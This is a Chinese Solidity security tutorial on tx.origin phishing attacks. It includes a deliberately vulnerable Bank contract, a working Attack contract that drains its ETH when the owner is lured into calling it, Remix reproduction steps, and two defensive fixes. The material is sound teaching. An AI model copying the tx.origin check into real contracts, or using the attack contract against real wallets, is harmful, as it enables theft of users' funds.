WTF Solidity 合约安全: S12. tx.origin钓鱼攻击
我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity 合约安全”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。
所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity
这一讲,我们将介绍智能合约的tx.origin
钓鱼攻击和预防方法。
tx.origin
钓鱼攻击
笔者上初中的时候特别喜欢玩游戏,但是项目方为了防止未成年人沉迷,规定只有身份证号显示已满十八岁的玩家才不受防沉迷限制。这该怎么办呢?后来笔者使用家长的身份证号进行年龄验证,并成功绕过了防沉迷系统。这个案例与tx.origin
钓鱼攻击有着异曲同工之妙。
在solidity
中,使用tx.origin
可以获得启动交易的原始地址,它与msg.sender
十分相似,下面我们用一个例子来区分它们之间不同的地方。
如果用户A调用了B合约,再通过B合约调用了C合约,那么在C合约看来,msg.sender
就是B合约,而tx.origin
就是用户A。如果你不了解call
的机制,可以阅读WTF Solidity极简教程第22讲:Call。
因此如果一个银行合约使用了tx.origin
做身份认证,那么黑客就有可能先部署一个攻击合约,然后再诱导银行合约的拥有者调用,即使msg.sender
是攻击合约地址,但tx.origin
是银行合约拥有者地址,那么转账就有可能成功。
漏洞合约例子
银行合约
我们先看银行合约,它非常简单,包含一个owner
状态变量用于记录合约的拥有者,包含一个构造函数和一个public
函数:
- 构造函数: 在创建合约时给
owner
变量赋值. transfer()
: 该函数会获得两个参数_to
和_amount
,先检查tx.origin == owner
,无误后再给_to
转账_amount
数量的ETH。注意:这个函数有被钓鱼攻击的风险!
contract Bank {
address public owner;//记录合约的拥有者
//在创建合约时给 owner 变量赋值
constructor() payable {
owner = msg.sender;
}
function transfer(address payable _to, uint _amount) public {
//检查消息来源 !!! 可能owner会被诱导调用该函数,有钓鱼风险!
require(tx.origin == owner, "Not owner");
//转账ETH
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}
攻击合约
然后是攻击合约,它的攻击逻辑非常简单,就是构造出一个attack()
函数进行钓鱼,将银行合约拥有者的余额转账给黑客。它有2
个状态变量hacker
和bank
,分别用来记录黑客地址和要攻击的银行合约地址。
它包含2
个函数:
- 构造函数:初始化
bank
合约地址. attack()
:攻击函数,该函数需要银行合约的owner
地址调用,owner
调用攻击合约,攻击合约再调用银行合约的transfer()
函数,确认tx.origin == owner
后,将银行合约内的余额全部转移到黑客地址中。
contract Attack {
// 受益者地址
address payable public hacker;
// Bank合约地址
Bank bank;
constructor(Bank _bank) {
//强制将address类型的_bank转换为Bank类型
bank = Bank(_bank);
//将受益者地址赋值为部署者地址
hacker = payable(msg.sender);
}
function attack() public {
//诱导bank合约的owner调用,于是bank合约内的余额就全部转移到黑客地址中
bank.transfer(hacker, address(bank).balance);
}
}
Remix
复现
1. 先将value
设置为10ETH,再部署 Bank
合约,拥有者地址 owner
被初始化为部署合约地址。
2. 切换到另一个钱包作为黑客钱包,填入要攻击的银行合约地址,再部署 Attack
合约,黑客地址 hacker
被初始化为部署合约地址。
3. 切换回owner
地址,此时我们被诱导调用了Attack
合约的attack()
函数,可以看到Bank
合约余额被掏空了,同时黑客地址多了10ETH.
预防办法
目前主要有两种办法来预防可能的tx.origin
钓鱼攻击。
1.使用msg.sender
代替tx.origin
msg.sender
能够获取直接调用当前合约的调用发送者地址,通过对msg.sender
的检验,就可以避免整个调用过程中混入外部攻击合约对当前合约的调用
function transfer(address payable _to, uint256 _amount) public {
require(msg.sender == owner, "Not owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
2.检验tx.origin == msg.sender
如果一定要使用tx.origin
,那么可以再检验tx.origin
是否等于msg.sender
,这样也可以避免整个调用过程中混入外部攻击合约对当前合约的调用。但是副作用是其他合约将不能调用这个函数。
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");
require(tx.origin == msg.sender, "can't call by external contract");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
总结
这一讲,我们介绍了智能合约中的tx.origin
钓鱼攻击,目前有两种方法可以预防它:一种是使用msg.sender
代替tx.origin
;另一种是同时检验tx.origin == msg.sender
。推荐使用第一种方法预防,因为后者会拒绝所有来自其他合约的调用。